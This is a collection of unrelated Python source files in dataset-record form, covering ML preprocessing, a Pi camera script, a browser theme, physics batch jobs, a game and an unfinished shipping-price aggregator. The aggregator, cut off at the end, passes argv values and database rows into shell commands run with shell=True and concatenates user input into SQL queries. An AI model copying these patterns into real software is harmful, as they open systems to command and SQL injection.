len(sentences[\"test\"])\r\n if (nTreningRi < nTrening):\r\n sentences[\"training\"].append(sentence)\r\n elif (nValidationRi < nValidation):\r\n sentences[\"validation\"].append(sentence)\r\n else:\r\n sentences[\"test\"].append(sentence)\r\ndel nTreningRi\r\ndel nValidationRi\r\ndel nTestingRi\r\n\r\nnSentencesR = len(sentences[\"training\"]) + len(sentences[\"validation\"]) + len(sentences[\"test\"])\r\nnTreningR = len(sentences[\"training\"])\r\nnValidationR = len(sentences[\"validation\"])\r\nnTestingR = len(sentences[\"test\"])\r\n\r\nprint(\"Sizes ([calculated, real]): \")\r\nprint([nTrening, nTreningR])\r\nprint([nValidation, nValidationR])\r\nprint([nTesting, nTestingR])\r\n\r\ndeepPavlovfolder = str(__file__[:-len(\"preprocess_dataset_for_training_uposNtag.py\")])\r\nprint(\"Split dataset will be saved to: \" + deepPavlovfolder)\r\n\r\nftr = codecs.open(deepPavlovfolder + \"all_words_with_subtypes_training.txt\", \"w\", \"utf-8\")\r\nfval = codecs.open(deepPavlovfolder + \"all_words_with_subtypes_validation.txt\", \"w\", \"utf-8\")\r\nftest = codecs.open(deepPavlovfolder + \"all_words_with_subtypes_test.txt\", \"w\", \"utf-8\")\r\nfor sentence in sentences[\"training\"]:\r\n for word in sentence:\r\n ftr.write(word)\r\nfor sentence in sentences[\"validation\"]:\r\n for word in sentence:\r\n fval.write(word)\r\nfor sentence in sentences[\"test\"]:\r\n for word in sentence:\r\n ftest.write(word)\r\n","sub_path":"src/deep_pavlov/preprocess_dataset_for_training_uposNtag.py","file_name":"preprocess_dataset_for_training_uposNtag.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"456287021","text":"#!/usr/bin/env python\n\"\"\"\nRaspberry Pi Camera Image Capture\n\nDisplays image preview on screen. Counts down and saves image. Restart program \nto take multiple photos.\n\nAuthor: EdgeImpulse, Inc.\nDate: July 6, 2021\nLicense: Apache-2.0 (apache.org/licenses/LICENSE-2.0)\n\"\"\"\n\nimport cv2\nfrom picamera import PiCamera\nfrom picamera.array import PiRGBArray\n\n# Settings\nres_width = 96 # Resolution of camera (width)\nres_height = 96 # Resolution of camera (height)\nrotation = 0 # Camera rotation (0, 90, 180, or 270)\ndraw_fps = False # Draw FPS on screen\nsave_path = \"./\" # Save images to current directory\nfile_num = 0 # Starting point for filename\nfile_suffix = \".png\" # Extension for image file\nprecountdown = 2 # Seconds before starting countdown\ncountdown = 5 # Seconds to count down from\n\n# Initial framerate value\nfps = 0\n\n################################################################################\n# Functions\n\ndef file_exists(filepath):\n \"\"\"\n Returns true if file exists, false otherwise\n \"\"\"\n try:\n f = open(filepath, 'r')\n exists = True\n f.close()\n except:\n exists = False\n return exists\n\n\ndef get_filepath():\n \"\"\"\n Returns the next available full path to image file\n \"\"\"\n\n global file_num\n\n # Loop through possible file numbers to see if that file already exists\n filepath = save_path + str(file_num) + file_suffix\n while file_exists(filepath):\n file_num += 1\n filepath = save_path + str(file_num) + file_suffix\n\n return filepath\n\n################################################################################\n# Main\n\n# Figure out the name of the output image filename\nfilepath = get_filepath()\n\n# Start the camera\nwith PiCamera() as camera:\n\n # Configure camera settings\n camera.resolution = (res_width, res_height)\n camera.rotation = rotation\n \n # Container for our frames\n raw_capture = PiRGBArray(camera, size=(res_width, res_height))\n \n # Initial countdown timestamp\n countdown_timestamp = cv2.getTickCount()\n\n # Continuously capture frames (this is our while loop)\n for frame in camera.capture_continuous(raw_capture, \n format='bgr', \n use_video_port=True):\n \n # Get timestamp for calculating actual framerate\n timestamp = cv2.getTickCount()\n \n # Get Numpy array that represents the image\n img = frame.array\n \n # Each second, decrement countdown\n if (timestamp - countdown_timestamp) / cv2.getTickFrequency() > 1.0:\n countdown_timestamp = cv2.getTickCount()\n countdown -= 1\n \n # When countdown reaches 0, break out of loop to save image\n if countdown <= 0:\n countdown = 0\n break\n \n \n # Draw countdown on screen\n cv2.putText(img,\n str(countdown),\n (int(round(res_width / 2) - 5),\n int(round(res_height / 2))),\n cv2.FONT_HERSHEY_PLAIN,\n 1,\n (255, 255, 255))\n \n # Draw framerate on frame\n if draw_fps:\n cv2.putText(img, \n \"FPS: \" + str(round(fps, 2)), \n (0, 12),\n cv2.FONT_HERSHEY_PLAIN,\n 1,\n (255, 255, 255))\n \n # Show the frame\n cv2.imshow(\"Frame\", img)\n \n # Clear the stream to prepare for next frame\n raw_capture.truncate(0)\n \n # Calculate framrate\n frame_time = (cv2.getTickCount() - timestamp) / cv2.getTickFrequency()\n fps = 1 / frame_time\n \n # Press 'q' to quit\n if cv2.waitKey(1) == ord('q'):\n break\n \n # Capture image\n camera.capture(filepath)\n print(\"Image saved to:\", filepath)\n\n# Clean up\ncv2.destroyAllWindows()\n","sub_path":"1.1.3 - Data Collection/Raspberry Pi/pi-cam-capture.py","file_name":"pi-cam-capture.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"364441607","text":"from datetime import datetime as dt, timedelta as td\n\ndt_now = dt.now()\n\n\ndef past_future(days):\n dt_fmt = \"%b %d, %Y %H:%M:%S\"\n td_days = td(days=days)\n after = (dt_now + td_days).strftime(dt_fmt)\n before = (dt_now - td_days).strftime(dt_fmt)\n print(days, \"days from now ---\", after)\n print(days, \"days before ---\", before)\n\n\nno_of_days = [355, 210, 125, 98, 30, 2]\n\n[past_future(days) for days in no_of_days]\n","sub_path":"activities/micko_future_past.py","file_name":"micko_future_past.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"95374692","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 7 15:31:26 2017\n\n@author: shiha\n\"\"\"\n\n# Given a sorted array, remove the duplicates in place such that each element appear only once and return the new length.\n# Do not allocate extra space for another array, you must do this in place with constant memory.\n\n# For example,\n# Given input array A = [1,1,2],\n# \n# Your function should return length = 2, and A is now [1,2].\n\n#%%\nimport numpy as np\nX = np.array([[0, 0], [0, 1], [1, 0], [1, 1]], dtype=np.float32)\n\n\ndef remove_duplicate(arr):\n tmp=arr[0]\n j=0\n for i in range(len(arr)):\n if arr[i]!=tmp :\n tmp=arr[i];\n j=j+1\n arr[j]=arr[i]\n return j+1,arr\n#%%\nif __name__ == '__main__':\n arr=[1,1,2,2,3,3,4,5,6,6,10,11,11,23,24,25,26,26]\n length,new_arr =remove_duplicate(arr)\n print(length,' ',new_arr)","sub_path":"remove_duplicates_from_sorted_array.py","file_name":"remove_duplicates_from_sorted_array.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"171410675","text":"color_black = '#161821'\ncolor_dark_red = '#e27878'\ncolor_dark_green = '#b4be82'\ncolor_dark_yellow = '#e2a478'\ncolor_dark_blue = '#84a0c6'\ncolor_dark_magenta = '#a093c7'\ncolor_dark_cyan = '#89b8c2'\ncolor_light_gray = '#c6c8d1'\ncolor_dark_gray = '#6b7089'\ncolor_red = '#e98989'\ncolor_green = '#c0ca8e'\ncolor_yellow = '#e9b189'\ncolor_blue = '#91acd1'\ncolor_magenta = '#ada0d3'\ncolor_cyan = '#95c4ce'\ncolor_white = '#d2d4de'\n\nc.colors.completion.category.bg = color_dark_gray\nc.colors.completion.category.border.bottom = color_dark_gray\nc.colors.completion.category.border.top = color_dark_gray\nc.colors.completion.category.fg = color_white\nc.colors.completion.even.bg = color_black\nc.colors.completion.fg = color_white\nc.colors.completion.item.selected.bg = color_white\nc.colors.completion.item.selected.border.bottom = color_white\nc.colors.completion.item.selected.border.top = color_white\nc.colors.completion.item.selected.fg = color_black\nc.colors.completion.item.selected.match.fg = color_dark_gray\nc.colors.completion.match.fg = color_dark_gray\nc.colors.completion.odd.bg = color_black\nc.colors.completion.scrollbar.bg = color_black\nc.colors.completion.scrollbar.fg = color_white\nc.colors.downloads.bar.bg = color_black\nc.colors.downloads.error.bg = color_red\nc.colors.downloads.error.fg = color_black\nc.colors.downloads.start.bg = color_dark_blue\nc.colors.downloads.start.fg = color_black\nc.colors.downloads.stop.bg = color_green\nc.colors.downloads.stop.fg = color_black\nc.colors.downloads.system.bg = 'rgb'\nc.colors.downloads.system.fg = 'rgb'\nc.colors.hints.bg = 'rgba(210,212,222,.9)'\nc.colors.hints.fg = color_black\nc.colors.hints.match.fg = color_dark_gray\nc.colors.keyhint.bg = 'rgba(22,24,33,90%)'\nc.colors.keyhint.fg = color_white\nc.colors.keyhint.suffix.fg = color_cyan\nc.colors.messages.error.bg = color_black\nc.colors.messages.error.border = color_black\nc.colors.messages.error.fg = color_dark_red\nc.colors.messages.info.bg = color_black\nc.colors.messages.info.border = color_black\nc.colors.messages.info.fg = color_white\nc.colors.messages.warning.bg = color_black\nc.colors.messages.warning.border = color_black\nc.colors.messages.warning.fg = color_yellow\nc.colors.prompts.bg = color_black\nc.colors.prompts.border = '1px solid #6b7089'\nc.colors.prompts.fg = color_white\nc.colors.prompts.selected.bg = color_dark_gray\nc.colors.statusbar.caret.bg = color_black\nc.colors.statusbar.caret.fg = color_dark_gray\nc.colors.statusbar.caret.selection.bg = color_black\nc.colors.statusbar.caret.selection.fg = color_green\nc.colors.statusbar.command.bg = color_black\nc.colors.statusbar.command.fg = color_white\nc.colors.statusbar.command.private.bg = color_black\nc.colors.statusbar.command.private.fg = color_yellow\nc.colors.statusbar.insert.bg = color_black\nc.colors.statusbar.insert.fg = color_blue\nc.colors.statusbar.normal.bg = color_black\nc.colors.statusbar.normal.fg = color_white\nc.colors.statusbar.passthrough.bg = color_black\nc.colors.statusbar.passthrough.fg = color_magenta\nc.colors.statusbar.private.bg = color_black\nc.colors.statusbar.private.fg = color_yellow\nc.colors.statusbar.progress.bg = color_white\nc.colors.statusbar.url.error.fg = color_dark_red\nc.colors.statusbar.url.fg = color_white\nc.colors.statusbar.url.hover.fg = color_cyan\nc.colors.statusbar.url.success.http.fg = color_white\nc.colors.statusbar.url.success.https.fg = color_dark_green\nc.colors.statusbar.url.warn.fg = color_dark_yellow\nc.colors.tabs.bar.bg = color_black\nc.colors.tabs.even.bg = color_black\nc.colors.tabs.even.fg = color_white\nc.colors.tabs.indicator.error = color_red\nc.colors.tabs.indicator.start = color_black\nc.colors.tabs.indicator.stop = color_white\nc.colors.tabs.indicator.system = 'rgb'\nc.colors.tabs.odd.bg = color_black\nc.colors.tabs.odd.fg = color_white\nc.colors.tabs.pinned.even.bg = color_white\nc.colors.tabs.pinned.even.fg = color_black\nc.colors.tabs.pinned.odd.bg = color_white\nc.colors.tabs.pinned.odd.fg = color_black\nc.colors.tabs.pinned.selected.even.bg = color_dark_gray\nc.colors.tabs.pinned.selected.even.fg = color_white\nc.colors.tabs.pinned.selected.odd.bg = color_dark_gray\nc.colors.tabs.pinned.selected.odd.fg = color_white\nc.colors.tabs.selected.even.bg = color_dark_gray\nc.colors.tabs.selected.even.fg = color_white\nc.colors.tabs.selected.odd.bg = color_dark_gray\nc.colors.tabs.selected.odd.fg = color_white\nc.colors.webpage.bg = '#ffffff'\n","sub_path":".config/qutebrowser/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":6804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"313504219","text":"#! /usr/bin/env python\nimport BatchMaster as b\nimport sys\n\ncfg = b.JobConfig\n\n''' Specify parameters '''\ndCache = '/pnfs/cms/WAX/11/store/user'\noutputPath = '/eos/uscms/store/user/naodell/BatchOutput/fakes'\nexecutable = 'execBatch.csh'\n\nselection = 'fakes'\nperiod = '2012'\ndoData = False\ndoBG = False\ndoSignal = False\n\n# Config from command line #\n\nif len(sys.argv) > 0:\n period = sys.argv[1]\nif 'data' in sys.argv[1:]:\n doData = True\nif 'bg' in sys.argv[1:]:\n doBG = True\nif 'signal' in sys.argv[1:]:\n doSignal = True\n\n############################\n\n''' \n Set job configurations. The order of arguments is:\n (Dataset, path to data, number of jobs, arguments to pass to executable, output directory name)\n'''\n\ndata = []\nbg = []\nsignal = []\n\nif period == '2012':\n data.extend([\n cfg('muon_2012A', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleMu_Run2012A_v2', 20, 'DATA muon 2012'),\n cfg('muon_2012B', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleMu_Run2012B_v2', 20, 'DATA muon 2012'),\n cfg('muon_2012C_prompt', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleMu_Run2012C_Prompt_v2', 20, 'DATA muon 2012'),\n cfg('muon_2012C_recover', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleMu_Run2012C_Recover_v2', 5, 'DATA muon 2012'),\n cfg('muon_2012C_24Aug', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleMu_Run2012C_24Aug_v2', 10, 'DATA muon 2012'),\n cfg('muon_2012D', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleMu_Run2012D_v2', 20, 'DATA muon 2012'),\n\n cfg('electron_2012A', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleElectron_Run2012A_v2', 20, 'DATA electron 2012'),\n cfg('electron_2012B', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleElectron_Run2012B_v2', 20, 'DATA electron 2012'),\n cfg('electron_2012C_prompt', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleElectron_Run2012C_Prompt_v2', 20, 'DATA electron 2012'),\n cfg('electron_2012C_recover', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleElectron_Run2012C_Recover_v2', 5, 'DATA electron 2012'),\n cfg('electron_2012C_24Aug', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleElectron_Run2012C_24Aug_v2', 10, 'DATA electron 2012')\n #cfg('electron_2012D', dCache+'/naodell/nuTuples_v5_5_8TeV/DoubleElectron_Run2012D_v2', 20, 'DATA electron 2012'),\n\n #cfg('muEG_2012A', dCache+'/naodell/nuTuples_v5_5_8TeV/MuEG_Run2012A', 20, 'DATA muEG 2012'),\n #cfg('muEG_2012B', dCache+'/naodell/nuTuples_v5_5_8TeV/MuEG_Run2012B', 20, 'DATA muEG 2012'),\n #cfg('muEG_2012C_prompt', dCache+'/naodell/nuTuples_v5_5_8TeV/MuEG_Run2012C_prompt', 20, 'DATA muEG 2012'),\n #cfg('muEG_2012C_recover', dCache+'/naodell/nuTuples_v5_5_8TeV/MuEG_Run2012C_recover', 5, 'DATA muEG 2012'),\n #cfg('muEG_2012C_24Aug', dCache+'/naodell/nuTuples_v5_5_8TeV/MuEG_Run2012C_24Aug', 10, 'DATA muEG 2012'),\n #cfg('muEG_2012D', dCache+'/naodell/nuTuples_v5_5_8TeV/MuEG_Run2012D', 20, 'DATA muEG 2012')\n ])\n\n bg.extend([\n cfg('ZJets', dCache+'/andreypz/nuTuples_v5_8TeV/DYjets', 40, 'ZJets muon 2012'),\n cfg('ZJets_M-10To50', dCache+'/naodell/nuTuples_v5_8TeV/DYJetsToLL_M-10To50', 20, 'ZJets_M-10To50 muon 2012'),\n #cfg('WJets', dCache+'/naodell/nuTuples_v5_8TeV/WJetsToLNu', 30, 'WJets muon 2012'),\n #cfg('WG', dCache+'/naodell/nuTuples_v5_5_8TeV/WGToLNuG', 10, 'WG muon 2012'),\n #cfg('ZG', dCache+'/naodell/nuTuples_v5_5_8TeV/ZGToLLG', 10, 'ZG muon 2012'),\n cfg('ttbar', dCache+'/andreypz/nuTuples_v5_8TeV/TTJets', 40, 'ttbar muon 2012'),\n cfg('ttW', dCache+'/naodell/nuTuples_v5_5_8TeV/TTWJets', 10, 'ttW muon 2012'),\n cfg('ttZ', dCache+'/naodell/nuTuples_v5_5_8TeV/TTZJets', 10, 'ttZ muon 2012'),\n cfg('tbarW', dCache+'/andreypz/nuTuples_v5_8TeV/tbarW', 30, 'tbarW muon 2012'),\n cfg('tW', dCache+'/andreypz/nuTuples_v5_8TeV/tW', 15, 'tW muon 2012'),\n cfg('ZZJets2L2Nu', dCache+'/andreypz/nuTuples_v5_8TeV/ZZJetsTo2L2Nu', 5, 'ZZJets2L2Nu muon 2012'),\n cfg('ZZJets2L2Q', dCache+'/naodell/nuTuples_v5_8TeV/ZZJetsTo2L2Q', 5, 'ZZJets2L2Q muon 2012'),\n cfg('ZZJets4L', dCache+'/naodell/nuTuples_v5_8TeV/ZZJetsTo4L', 5, 'ZZJets4L muon 2012'),\n cfg('WWJets2L2Nu', dCache+'/andreypz/nuTuples_v5_8TeV/WWJetsTo2L2Nu', 5, 'WWJets2L2Nu muon 2012'),\n cfg('WZJets3LNu', dCache+'/andreypz/nuTuples_v5_8TeV/WZJetsTo3LNu', 5, 'WZJets3LNu muon 2012'),\n cfg('WZJets2L2Q', dCache+'/naodell/nuTuples_v5_8TeV/WZJetsTo2L2Q', 10, 'WZJets2L2Q muon 2012')\n #cfg('QCD_EM', dCache+'/naodell/nuTuples_v5_5_8TeV/QCD_Pt-40_doubleEMEnriched', 10, 'QCD_EM mc 2012')\n ])\n\n\n signal.extend([\n #cfg('FCNC_M125', dCache+'/devildog/nuTuples_v2_7TeV/FCNC_tH', 5, 'FCNC_M125 mc 2012')\n cfg('FCNC_M125', dCache+'/naodell/nuTuples_v5_5_8TeV/FCNC_M125_8TeV', 5, 'FCNC_M125 mc 2012'),\n cfg('FCNC_M145', dCache+'/naodell/nuTuples_v5_5_8TeV/FCNC_M145_8TeV', 5, 'FCNC_M145 mc 2012')\n ])\n\n\nif period == '2011':\n data.extend([\n cfg('muon_2011A', dCache+'/andreypz/nuTuples_v2_7TeV/DoubleMu_HZZ_Run2011A', 30, 'DATA muon 2011'),\n cfg('muon_2011B', dCache+'/andreypz/nuTuples_v2_7TeV/DoubleMu_HZZ_Run2011B', 30, 'DATA muon 2011'),\n cfg('muEG_2011A', dCache+'/naodell/nuTuples_v2_7TeV/MuEG_Run2011A', 30, 'DATA muEG 2011'),\n cfg('muEG_2011B', dCache+'/naodell/nuTuples_v2_7TeV/MuEG_Run2011B', 30, 'DATA muEG 2011'),\n #cfg('electron_2011A', dCache+'/naodell/nuTuples_v2_7TeV/DoubleElectron_Run2011A', 20, 'DATA 16,17,18 electron 2011')\n #cfg('electron_2011B', dCache+'/andreypz/nuTuples_v2_7TeV/DoubleElectron_HZZ_Run2011B', 20, 'DATA 16,17,18 electron 2011')\n ])\n\n bg.extend([\n cfg('ZJets', dCache+'/andreypz/nuTuples_v2_7TeV/DYjets', 40, 'ZJets mc 2011'),\n cfg('ttbar', dCache+'/andreypz/nuTuples_v2_7TeV/TTJets', 40, 'ttbar mc 2011'),\n cfg('tbarW', dCache+'/andreypz/nuTuples_v2_7TeV/tbarW', 30, 'tbarW mc 2011'),\n cfg('tW', dCache+'/andreypz/nuTuples_v2_7TeV/tW', 15, 'tW mc 2011'),\n cfg('ZZJets2L2Nu', dCache+'/naodell/nuTuples_v2_7TeV/ZZJetsTo2L2Nu', 5, 'ZZJets2L2Nu mc 2011'),\n cfg('ZZJets2L2Q', dCache+'/naodell/nuTuples_v2_7TeV/ZZJetsTo2L2Q', 5, 'ZZJets2L2Q mc 2011'),\n cfg('WWJets2L2Nu', dCache+'/naodell/nuTuples_v2_7TeV/WWJetsTo2L2Nu', 5, 'WWJets2L2Nu mc 2011'),\n cfg('WZJets3LNu', dCache+'/naodell/nuTuples_v2_7TeV/WZJetsTo3LNu', 5, 'WZJets3LNu mc 2011'),\n cfg('WZJets2L2Q', dCache+'/naodell/nuTuples_v2_7TeV/WZJetsTo2L2Q', 5, 'WZJets2L2Q mc 2011')\n ])\n\n\n signal.extend([\n cfg('FCNC', dCache+'/devildog/nuTuples_v2_7TeV/FCNC_tH', 5, 'FCNC mc 2011')\n ])\n\ninputSamples = []\n\nif doData:\n inputSamples.extend(data)\nif doBG:\n inputSamples.extend(bg)\nif doSignal:\n inputSamples.extend(signal)\n\nif len(inputSamples) is not 0:\n batcher = b.BatchMaster(inputSamples, outputPath, shortQueue = False, stageDir = 'batchStage/outputBatch', executable = executable, selection = selection + '_' + period)\n batcher.submit_to_batch()\n\n","sub_path":"fakeEstimator/batch_cfg.py","file_name":"batch_cfg.py","file_ext":"py","file_size_in_byte":7035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"630521131","text":"import os\nimport glob\nimport logging\n\nfrom airflow.models import BaseOperator\nfrom airflow.plugins_manager import AirflowPlugin\nfrom airflow.utils.decorators import apply_defaults\nfrom eodatareaders.eo_data_reader import eoDataReader\n\nlog = logging.getLogger(__name__)\n\nclass eoDataReadersOp(BaseOperator):\n\n @apply_defaults\n def __init__(self, input_filepaths, input_params, *args, **kwargs):\n self.input_filepaths = input_filepaths\n self.input_params = input_params\n super(eoDataReadersOp, self).__init__(*args, **kwargs)\n\n def execute(self, context):\n # If folder is given, list files in folder\n if isinstance(self.input_filepaths, str):\n if os.path.isdir(self.input_filepaths):\n # input string is a directory, list all its files\n filepaths = sorted(glob.glob(self.input_filepaths + '*'))\n else:\n # input string is single filepath\n filepaths = self.input_filepaths\n elif isinstance(self.input_filepaths, list):\n if os.path.isdir(self.input_filepaths[0]):\n # input list is list of lists, concatenate all files in all folders\n filepaths = []\n for folder in self.input_filepaths:\n filepaths_tmp = sorted(glob.glob(folder + '*'))\n filepaths = filepaths + filepaths_tmp\n else:\n # input list is list of strings (filepaths)\n filepaths = self.input_filepaths\n _ = eoDataReader(filepaths, self.input_params)\n\nclass eoDataReadersPlugin(AirflowPlugin):\n name = \"eo_data_readers_plugin\"\n operators = [eoDataReadersOp]\n","sub_path":"airflow/plugins/eodatareaders_operators.py","file_name":"eodatareaders_operators.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"99226018","text":"import pygame\nimport random\n\n\nclass Character(pygame.sprite.Sprite):\n def __init__(self, image_path, x, y):\n super().__init__()\n self.image = pygame.image.load(image_path)\n self.image = pygame.transform.scale(self.image, (50, 50))\n self.rect = self.image.get_rect()\n self.rect.left = x\n self.rect.bottom = y\n self.group = pygame.sprite.Group()\n self.group.add(self)\n\n def draw(self, surface):\n self.group.draw(surface)\n\n def crash(self, walls, height):\n for wall in walls:\n for brick in wall.bricks:\n if pygame.sprite.collide_mask(self, brick):\n print('kolizja')\n return True\n if self.rect.top <= 0 or self.rect.bottom >= height:\n return True\n return False\n\n\nclass Brick(pygame.sprite.Sprite):\n def __init__(self, image_path, postion):\n super().__init__()\n self.image = pygame.image.load(image_path)\n self.image = pygame.transform.scale(self.image, (50, 50))\n self.rect = self.image.get_rect()\n self.rect.topleft = postion\n\n\nclass Wall:\n def __init__(self, image_path, x):\n self.x = x\n self.hole = random.randint(1, 14)\n self.bricks = pygame.sprite.Group()\n for i in range(13):\n self.bricks.add(Brick(image_path, (0, 0)))\n\n def random_hole_position(self):\n if self.x < -50:\n self.hole = random.randint(1, 14)\n\n def update(self):\n self.x -= 1\n if self.x < -51:\n self.x = 600\n i = 0\n for j in range(16):\n if j == self.hole or j - 1 == self.hole or j + 1 == self.hole:\n continue\n self.bricks.sprites()[i].rect.topleft = (self.x, 50 * j)\n i += 1\n\n def draw(self, surface):\n for brick in self.bricks.sprites():\n print(brick.rect.y, end=\" \")\n print(\"\")\n self.bricks.draw(surface)\n\n\nclass FlappyBird:\n def __init__(self, player_nmbr, network):\n self.net = network\n self.clock = pygame.time.Clock()\n self.FPS = 60\n self.player_nmbr = player_nmbr\n self.enemy_nmbr = (self.player_nmbr + 1) % 2\n self.width = 600\n self.height = 800\n\n self.screen = pygame.display.set_mode((self.width, self.height))\n\n self.down_speed = 0\n self.down_acceleration = 0\n\n self.player = Character('Client_Modules/Flappybird_Assets/bird.png', self.width // 2, self.height // 2)\n self.enemy = Character('Client_Modules/Flappybird_Assets/bird.png', self.width // 2, self.height // 2)\n self.walls = [Wall('Client_Modules/Flappybird_Assets/brickwall.png', self.width),\n Wall('Client_Modules/Flappybird_Assets/brickwall.png', 3 * self.width // 2)]\n\n if self.player_nmbr == 1:\n data = self.net.get_data()\n if data[0] == 4 and data[1] != 0:\n data = data[1]\n for i in range(len(data[2])):\n self.walls[i].hole = data[2][i]\n\n def crash(self):\n if self.player.crash(self.walls, self.height):\n self.net.game_won_by(self.enemy_nmbr)\n return\n elif self.enemy.crash(self.walls, self.height):\n self.net.game_won_by(self.player_nmbr)\n return\n\n def run(self):\n while self.net.current_minigame() == 4:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n self.down_speed = -6\n self.down_acceleration = 0.3\n\n self.screen.fill((255, 255, 255))\n\n for i in range(len(self.walls)):\n self.walls[i].update()\n\n data = self.net.get_data()\n if data[0] != 4:\n break\n else:\n data = data[1]\n\n if data != 0:\n if self.player_nmbr == 1:\n for i in range(len(data[2])):\n self.walls[i].hole = data[2][i]\n\n self.enemy.rect.x = data[0]\n self.enemy.rect.y = data[1]\n\n if self.player_nmbr == 0:\n for i in range(len(self.walls)):\n self.walls[i].random_hole_position()\n\n for wall in self.walls:\n wall.draw(self.screen)\n\n self.enemy.draw(self.screen)\n\n self.player.rect.y += self.down_speed\n self.down_speed += self.down_acceleration\n self.player.draw(self.screen)\n\n self.net.send((4, self.player.rect.x, self.player.rect.y, [self.walls[0].hole, self.walls[1].hole]))\n\n pygame.display.update()\n\n if self.player_nmbr == 0:\n self.crash()\n\n self.clock.tick(self.FPS)\n\n return True\n","sub_path":"Client_Modules/flappybird.py","file_name":"flappybird.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"584127714","text":"# -*- coding: utf-8 -*-\n\"\"\" Utilities regarding the WAL and its DB used only in testing. \"\"\"\nfrom raiden.transfer.log import InternalEvent\n\n\ndef get_db_state_changes(storage, table):\n cursor = storage.conn.cursor()\n result = cursor.execute(\n 'SELECT * from {}'.format(table)\n )\n return result.fetchall()\n\n\ndef get_all_state_changes(log):\n \"\"\" Returns a list of tuples of identifiers and state changes\"\"\"\n return [\n (res[0], log.serializer.deserialize(res[1]))\n for res in get_db_state_changes(log.storage, 'state_changes')\n ]\n\n\ndef get_all_state_events(log):\n \"\"\" Returns a list of tuples of event id, state_change_id, block_number and events\"\"\"\n return [\n (InternalEvent(res[0], res[1], res[2], log.serializer.deserialize(res[3])))\n for res in get_db_state_changes(log.storage, 'state_events')\n ]\n","sub_path":"raiden/tests/utils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"77876085","text":"import subprocess as sub\nimport json\n\nfrom mysql_connector import mysql_db\n\ndef get_command(fromCity, toCity, weight):\n#return \"echo -e \\\"\" + fromCity + \"\\n\" + toCity + \"\\n\" + weight + \"\\n\\\"\"\n return \"\\\"\" + fromCity + \"\\\" \\\"\" + toCity + \"\\\" \\\"\" + weight + \"\\\" 2>> log\"\ndef get_prices(command, q):\n print(command, file=sys.stderr)\n command = command + \" 2>> log\"\n p = sub.Popen(command, stdout=sub.PIPE, stderr=sub.PIPE, shell=True)\n output, errors = p.communicate()\n out = output.splitlines()\n prices = []\n for i in out:\n try:\n i = i.decode(\"utf-8\")\n val = float(str(i))\n prices.append(val)\n except:\n continue\n# return sorted(prices)\n q.put(sorted(prices))\n\nimport sys\n\nprint(sys.argv, file=sys.stderr)\n\nif len(sys.argv) != 6:\n print(\"wrong command line\")\n sys.exit(1)\n\nfromCity = sys.argv[1]\norigCity = sys.argv[2]\nweight = sys.argv[3]\nvolume = sys.argv[4]\nvalue = sys.argv[5]\n\nfrom types import *\n\n#if type(fromCity) is UnicodeType:\n#fromCity = fromCity.decode(\"utf-8\")\n#if type(toCity) is UnicodeType:\n#toCity = toCity.decode(\"utf-8\")\n\nprices = []\n\ndb = mysql_db()\n\ndef prepare_json(prices_list, site_id):\n d = {\"site_id\":site_id, \"low_price\":int(prices_list[0]), \"high_price\":int(prices_list[-1]), \"prices\":prices_list}\n return json.dumps(d)\n\nresponse = []\n\ndef get_index(city):\n new_db = mysql_db()\n# q = new_db.execute(\"SELECT postal_code FROM `postal_codes` WHERE `city_name`='\" + city + \"' LIMIT 0, 1\")\n q = new_db.execute(\"SELECT pindx17.index FROM `pindx17` WHERE city=\\\"\" + city.upper() + \"\\\" or region=\\\"\" + city.upper() + \"\\\" LIMIT 0, 1\")\n# print(q)\n if q == None:\n return \"Fail\"\n for postal_code in q:\n return str(postal_code[0])\n\n\nres = db.execute(\"SELECT * FROM agregators\")\n\n#print(get_index(\"Краснодар\"))\n\nimport threading, queue\n\nqueues = []\nthreads = []\n\n#print(res)\n\nfor (id, name, url, command, s_u, s_e, d_u, d_e) in res:\n from_city = fromCity\n orig_city = origCity\n if s_e:\n from_city = get_english(from_city)\n if s_u:\n from_city = from_city.upper()\n if d_e:\n orig_city = get_english(orig_city)\n if d_u:\n orig_city = orig_city.upper()\n# print(command)\n command = command.replace('%fromCity%', \"\\\"\" + from_city + \"\\\"\")\n command = command.replace('%toCity%', \"\\\"\" + orig_city + \"\\\"\")\n command = command.replace('%weight%', \"\\\"\" + weight + \"\\\"\")\n if \"%fromIndex%\" in command:\n command = command.replace('%fromIndex%', \"\\\"\" + get_index(from_city) + \"\\\"\")\n if \"%toIndex%\" in command:\n command = command.replace('%toIndex%', \"\\\"\" + get_index(orig_city) + \"\\\"\")\n if \"%volume%\" in command:\n command = command.replace('%volume%', 